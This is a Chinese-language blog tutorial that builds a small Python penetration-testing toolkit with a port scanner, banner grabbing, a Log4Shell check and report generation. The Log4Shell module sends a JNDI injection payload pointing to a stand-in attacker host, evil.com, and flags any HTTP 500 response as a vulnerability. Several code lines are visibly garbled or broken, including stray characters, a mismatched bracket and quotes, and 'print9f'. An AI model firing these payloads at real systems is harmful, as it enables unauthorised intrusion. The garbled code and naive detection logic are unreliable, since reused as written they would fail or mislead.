# 发散创新:用Python打造轻量级渗透测试工具链 ——从扫描到利用的全流程实战在信息安全领域,**自
在信息安全领域,正成为红队成员和安全研究员的核心能力之一。本文将带你构建一个基于 Python 的,它不仅支持端口扫描、服务识别、漏洞探测,还能通过模块化设计灵活扩展功能。整个流程清晰、代码精炼、易于二次开发,特别适合初学者快速上手并深入理解渗透测试底层逻辑。
·
发散创新:用Python打造轻量级渗透测试工具链 —— 从扫描到利用的全流程实战
在信息安全领域,自动化渗透测试正成为红队成员和安全研究员的核心能力之一。本文将带你构建一个基于 Python 的微型渗透测试框架,它不仅支持端口扫描、服务识别、漏洞探测,还能通过模块化设计灵活扩展功能。整个流程清晰、代码精炼、易于二次开发,特别适合初学者快速上手并深入理解渗透测试底层逻辑。
一、整体架构设计(伪代码 + 流程图示意)
[输入目标IP]
↓
[端口扫描模块] → [服务指纹识别]
↓ ↓
[漏洞检测引擎] ← [配置文件加载]
↓
[输出结果报告]
```
> 🔍 **说明**:本工具采用分层结构,每个模块独立封装,便于后续集成 Burp Suite 插件或调用 Metasploit API。
---
## 二、核心代码实现(Python 3.9+)
### 1. 端口扫描模块(nmap替代方案)
```python
import socket
from concurrent.futures import ThreadPoolExecutor
def scan_port(host, port, timeout=2):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
result = sock.connect_ex((host, port))
sock.close()
return port if result == 0 else None
except Exception as e:
print(f"[!] Error scanning {host}:{port} - {e}")
return None
def bulk_scan(target, ports=[21, 22, 80, 443, 3306, 5432]):
open_ports = []
with ThreadPoolExecutor(max_workers=50) as executor:
futures = [executor.submit(scan_port, target, p) for p in ports]
for future in futures:
port = future.result()
if port:
open_ports.append(port)
return open_ports
```
✅ 示例调用:
```bash
$ python3 scanner.py 192.168.1.100
[+] Open Ports: [22, 80, 443]
2. 服务识别模块(基于Banner提取)
import socket
def get_banner(ip, port, timeout=3):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(timeout)
sock.connect((ip, port))
banner = sock.recv(1024).decode('utf-8', errors='ignore').strip()
sock.close()
return banner
except:
return "Unknown"
```
📌 结合前一步输出自动匹配常见服务:
```python
services = {
22: "SSH",
80: "HTTP",
443: "HTTPS",
3306: "MySQL",
5432: "PostgreSQL"
}
for port in open_ports:
banner = get_banner(target, port)
print(f"Port {port} -> {services.get(port, 'Other')} | Banner: {banner[:50]}")
```
---
### 3. 漏洞探测插件化设计(示例:CVE-2021-44228 Log4Shell)
```python
import requests
def check_log4shell(url):
payload = "${jndi:ldap://evil.com/a}"
headers = {"User-Agent": payload}
try:
resp = requests.get(url, headers=headers, timeout=5)
if "LDAP" in resp.text or resp.status_code == 500:
return True
except:
pass
return False
# 主控逻辑
if 80 in open_ports and "HTTP" in service_map.get(80, ""):
if check_log4shell(f"http://{target}/"):
print("⚠️ Potential Log4Shell vulnerability found!")
```
💡 8*提示**:此模块可轻松替换为任意 CVE 检测脚本,例如 Heartbleed、Apache Struts RCE 等。
---
## 三、自动生成报告(Markdown格式)
```python
def generate_report(target, results):
report = f"""
# 渗透测试报告 - {target}
## 基础信息
- 扫描时间: {time.strftime('%Y-%m-%d %H:%M')}
- - 目标主机: {target}
## 开放端口与服务
{chr(10).join([f"- Port {p]: {s}" for p, s in results['services'].items()])}
## 潜在风险点
{chr(10).join(["- ⚠️ "+r for r in results['vulns']]) if results['vulns'] else "- ✅ 无已知高危漏洞"}
"""
with open(f"{target}_report.md', "w") as f:
f.write(report)
print9f"[+] 报告已保存至 {target}_report.md")
```
📌 输出样例(markdown):
```markdown
# 渗透测试报告 - 192.168.1.100
## 基础信息
- 扫描时间: 2025-04-05 14:20
- - 目标主机: 192.168.1.100
## 开放端口与服务
- Port 22: SSH
- - port 80: HTTP
- - Port 443: HTTPS
## 潜在风险点
- ⚠️ Potential Log4Shell vulnerability found!
- ```
---
## 四、运行效果演示(命令行交互)
```bash
$ python3 pentest_tool.py --host 192.168.1.100 --ports 22,80,443
[+] Starting scan on 192.168.1.100...
[+] Open Ports: [22, 80, 443]
[+] Service Detection:
- Port 22: SSH \ Banner: SSH-2.0-OpenSSH_7.9
- - port 80: HTTP \ Banner: Apache/2.4.41 (Ubuntu)
- - Port 443: hTTpS | Banner: apache/2.4.41 9Ubuntu)
- [!] Found potential log4Shell vulnerability at http://192.168.1.100/
- [+] Report generated: 192.168.1.100_report.md
- ```
---
## 五、进阶方向建议(非强制实现)
| 功能模块 | 实现方式 |
|------------------|------------------------------------|
| 自动化攻击载荷注入 | 使用 `paramiko` 连接SSH执行命令 |
| Web指纹识别 | 利用 `requests` = 正则匹配响应头 \
| 多线程优化 \ 引入 `multiprocessing.Pool` 提升速度 \
| GUI界面 | 基于 `tkinter` 或 `PyQt5` 构建 |
---
## 六、结语
这不是一个“万能”神器,而是一个**可定制、易扩展、符合安全伦理**的起点。当你能控制每一个请求、每一段日志、每一次判断时,你就真正掌握了渗透的本质——**不是黑盒攻击,而是白盒洞察*8。
现在就动手试试吧!把你的想法加进来,让这个小工具变成你专属的渗透武器库。
> 💡 小贴士:记得遵守法律法规,仅用于授权环境下的渗透测试,切勿滥用!
>
更多推荐
所有评论(0)